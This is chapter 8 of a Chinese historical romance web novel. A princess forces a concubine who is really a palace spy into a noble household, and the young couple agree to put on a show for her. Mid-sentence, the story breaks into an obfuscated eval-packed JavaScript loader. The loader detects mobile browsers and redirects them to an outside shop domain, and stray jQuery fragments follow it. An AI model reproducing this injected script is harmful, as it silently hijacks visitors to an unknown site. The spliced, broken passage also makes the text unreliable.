8. 第8章
    这话一出,整个院子静了一下。

    乔蘅没懵,戚叔懵了,燕嘉允也愣了一愣。

    “她是不是脑子有病。”燕嘉允鲜少感到这么不痛快过,又觉得荒谬,脸色很冷:“让她哪来的滚哪去,本世子不见她。”

    小厮哆哆嗦嗦地说:“昭宁公主说了今日必须要见到您……”

    燕嘉允很想骂人,他强行忍住了暴躁的情绪,尽力冷静道:“戚叔,你去祠堂拿燕家家规来,到门口给她一个字一个字地念,让她听听清楚燕家男子不纳侍妾……罢了,我亲自去。”

    说罢他转身进了屋内,再出来时腰间已经佩上了绣春刀。

    乔蘅略一思索,喊上榴月,跟上了燕嘉允。

    这事儿与她有关系,但不大,只想静观其变。心里也没太大情绪,只觉得突然,以及觉得昭宁公主未免太过强势。

    她嫁进来第一年还没过去呢,这就想着往府里塞女人了。

    昨日刚有姑姑被拒回宫,今日就想塞人进来,很难不让人觉得昭宁公主是在蓄意报复。

    但乔蘅心里清楚,不能任由昭宁公主胡来。

    在她刚进燕府,根基不成熟的阶段,哪怕没有燕家家规,侍妾也不能进门。普通人家男子想纳妾,尚且要等到新妇嫁进来一年后,乔蘅可不愿被这般堂而皇之地欺辱到头上。

    一路跟着燕嘉允到了燕府大门,乔蘅看清了门口的昭宁公主和她身后的侍妾。

    平心而论,那确实是个极美的女子。

    她身姿窈窕,墨发雪肤,眼角眉梢都是风情。身穿朱红衫裙,带着一种吸人眼球的艳丽。

    昭宁公主坐在鸾驾上,一手撑腮道:“燕嘉允,你瞧,我给你带来一位什么样的绝色美姬,你不打算谢谢我?”

    “昭宁公主,我不想说话难听。”燕嘉允指着长庆街街头道,“你,带着你的人,和你的座驾,离开燕府地盘。”

    “普天之下莫非王土,何来你燕府地盘之说?”昭宁公主笑盈盈道,“不会是你的新夫人善妒不让你纳吧?”

    听到昭宁公主提到乔蘅,榴月立马护在乔蘅身前。

    燕嘉允脸色更难看了,冷的像冰:“你如果是脑子不好使,本世子不介意让人把燕家家规读给你听。”

    “可你当真以为你躲得掉?”昭宁公主冷眼笑道:“是本公主欣赏你,才会给你这么好的耐心,换成旁人,只有你跪下接旨的份儿!”

    燕嘉允面色蓦地一变,好像想到了什么,漆黑眼底冷森森的,压抑着情绪,拳头紧紧攥起,紧抿嘴唇不言一语。

    乔蘅不解地看向他,只见刚才还唇反相讥的人,现在像是被什么东西扼住了命脉一样,拼命地想涌出来,又被他扼住在咽喉口。

    乔蘅看得出来,他已经濒临爆发的边缘。然而他还是把所有冰冷怒火都压了下去,只死死盯着昭宁公主。

    她其实有一点不太明白:昭宁公主明知燕家男子不纳妾,看起来对燕嘉允也不是那么喜欢,而是出于上位者的控制欲,那她塞进来个人想做什么呢?

    只是想恶心一把这位燕指挥使吗?

    昭宁公主懒洋洋坐在步撵上,神情一点都不担心,笑着问道:“怎么样,这回想好了吗?”

    戚叔担忧地道:“世子……”

    燕嘉允冷冷看着她,一字一顿道:“我知道了。进了我燕府的人,怎么处置就是我说了算,公主没意见吧?”

    “没有意见,但我相信,你一定会好好对待你的侍妾的。”昭宁公主眉开眼笑起来,对身后的美人道,“去吧,你知道该做什么。”

    绝色美姬上前一步,对燕嘉允行一礼,道:“妾身苏琬,见过燕世子。”

    “给她安排院子,不必问我。”燕嘉允不想再待一分一秒,转身大步回了燕府。

    乔蘅打量一眼这个貌美侍妾,也转身跟了进去。

    戚叔怎么处置这个侍妾,乔蘅没有过问,她随着燕嘉允进了正房,看到他正坐在八仙桌旁边等她。

    乔蘅坐在他对面,给他倒了杯茶,又给自己倒了一杯。

    燕嘉允喝了口茶,抬眼看着她,慢慢道:“我知道我们曾约定好,不过这次不算我违约。”

    乔蘅垂下眼,心里感到些许讥诮。不是他主动纳的,是别人逼迫的,这就不算他违约?果真啊,男人都是如此。

    所幸她一开始就没怎么抱希望,如今倒也不算失望。

    谁知燕嘉允像是看穿了她的想法,道:“这不是侍妾,是个棋子,你方才没听懂么?”

    乔蘅不解地抬眼。

    燕嘉允讥讽道:“燕家功高盖主,承光帝那老头疑心病重,千辛万苦给我挑个夫人还不够,还怕我阴奉阳违,找个眼线送进来监视我。”

    他眼神阴冷地道:“真可笑,想监视直接监视,还要找个侍妾的借口再通过昭宁公主的手。我说昨日皇宫里来的人怎么那么好说话,原来在这儿等着呢。”

    乔蘅一时有些惊住,倒不是惊住美姬的身份,而是惊住燕嘉允居然就这么把燕家和皇帝的关系告诉了她。

    她隐约猜到了什么,迟疑着说:“监视的东西是……”

    “做戏会不会?你不必做什么,配合我就行。”燕嘉允站起了身,淡淡道,“今晚我在正房木榻上睡觉。你放心,约法三章,我说到做到,不会趁人之危。”

    话罢他转身出了屋子,离开院子消失不见。

    乔蘅没想到嫁进来要面对被皇上监视这种事情,心情有些烦乱,这一下,她完全不知该怎么跟燕嘉允在同一屋檐下相处了。

    -

    乔蘅思索一番燕嘉允的话之后,没再去找他说什么,而是找到戚叔询问苏琬去了哪。

    戚叔显然也猜到苏琬进府是做什么的,正在前院招待她喝茶试图套话,但被选作侍妾进府的女人又怎么会是善茬,乔蘅观察了一下,感觉戚叔什么消息也没套到。

    她笑着道:“戚叔,你忙你的吧,这里有我招待。”

    戚叔闻言把这里交给了乔蘅,她坐在苏琬对面,看着对方风姿袅娜却又无懈可击的眼神,温和一笑道:

    “我虽刚刚入府,却也算是女主人,便擅自来做这个主了。你既然是昭宁公主送来服侍世子的,那就先住在主院隔壁西侧吧。那院子唤作青玉苑,里边物件一应俱全,让下人打扫一下便可入住。若缺什么,你告诉下人即可。”

    乔蘅像是想起什么,道:“不过你现在还没有婢女,那我便做主让我身边的白苏先伺候你一阵,待寻到合适的婢女,我再派人调教好送给你。如何?”

    她说话温温柔柔,妥帖周到,苏琬面色不改,笑道:“多谢夫人抬爱,不必如此麻烦,我不需要婢女。”

    乔蘅弯唇道:“无碍的,不麻烦什么。”不软不硬地推掉了话茬。

    等青玉苑打扫好之后,苏琬就被安排住了进去。乔蘅唤来白苏,当着苏琬的面好生嘱咐了一番,白苏跟了她数年,乔蘅一个眼神就知道要做什么,当即认真应下道:“婢子明白了。”

    白苏走到苏琬身边:“婢子见过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13739415|145133||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    苏姑娘。”

    苏琬瞥了白苏一眼,淡淡道:“夫人费心了。”

    乔蘅好生安顿了苏琬之后才回去。

    第一日苏琬没作妖,乔蘅风平浪静地等到晚上。

    消失了一整天的燕嘉允终于回来了,他去耳房拿了寝衣,又离开不知道哪里去沐浴,回来后已经换好了寝衣,头发半干,坐在正房墙边的小木榻上。

    乔蘅终于找到合适的时间,跟他说了一下白天的一些安排,而后道:“若安排有不妥之处,你给妾身指出来。”

    “没有不妥,你挺细心的。”燕嘉允说罢,想了想,坐在小木榻上道:“你那婢女保证不会变心吧?”

    “不会。”乔蘅轻声笃定道:“白苏是连性命都可以为妾身牺牲的人,绝对可以放心。”

    “那就行。”燕嘉允又道,“明日我派个会武的小厮过去,保证你那婢女的安危。你找个时间给那什么白苏说一声。”

    乔蘅讶然望着他,感激道:“多谢世子。”

    话题结束,没人再出声。

    好像两人都知道接下来终于要在同一个屋里睡觉,一时间谁都没动作,正房静得有些诡异。

    “你……”

    燕嘉允看了看乔蘅端坐在大床边上的模样,又想扯耳朵了,他有些烦躁,欲扯话题,奈何他这人自小就被捧着长大,嚣张惯了,根本没学过扯话题这种技能。

    于是闭上嘴,拉耸着浓黑的眼睫,继续沉默。

    乔蘅在这方面比燕嘉允要擅长两个来回还拐弯,眉眼温柔地问道:“世子夜寝可有点烛的习惯?”

    燕嘉允道:“没有。”

    乔蘅温声细语道:“天色不早了,那妾身就熄烛了,世子也早点歇下吧。”

    说罢她没等燕嘉允有反应就吹熄了烛火,屋内陷入一片安静。

    乔蘅动作轻轻地盖好锦被。听到燕嘉允窸窸窣窣躺下来的声音后,她翻了个身,背对着燕嘉允睁开眼睛。

    说实话,她并不困,只是安寝这个理由能有效地避开聊天,免去了两人在同一屋檐下待久了徒增尴尬的问题。

    可现在又没什么事情做,乔蘅硬睡也睡不着,干脆想起了事情。

    胞弟至今没有消息,乔蘅觉得他被太子藏起来的可能性比较大,既然如此,她就只能尽快开张铺子,培养自己的人脉去打探消息。

    她先前去信给婶娘问有没有人愿意来京都做生意,路途遥远,婶娘的回信还没到。但因为乔家旁支欠下了她人情,乔蘅对这封信的回音持乐观态度——婶娘应当能给她一些帮助。

    李嬷嬷这些日子也在京都看了些铺面,心里有了些想法,等婶娘的回信到了,李嬷嬷就能定下来做什么生意。

    昏暗屋内忽然想起吱呀声音,乔蘅听见燕嘉允起了床,侧眸问道:“怎么了?”

    燕嘉允一边往外走,一边语调没什么起伏道:“更衣。”

    乔蘅一时没听懂,愣愣地啊了声。大半夜的,更什么衣?

    “如厕。”燕嘉允推门道,“你别问了。”

    “……”乔蘅重新回到锦被里,有点尴尬道:“哦。”

    燕嘉允没再理她,径直出去了。过了一刻钟后回了正房,躺在榻上。

    乔蘅听着再次恢复安静的屋子,心底想着方才那些计划,稍稍安心了些,不知不觉竟有了困意,渐渐入睡。

    不知道燕嘉允几时睡着的,她感觉隐约听到了身后木榻上翻身的“吱嘎”声音,但没有太关心。

    乔蘅一夜好眠。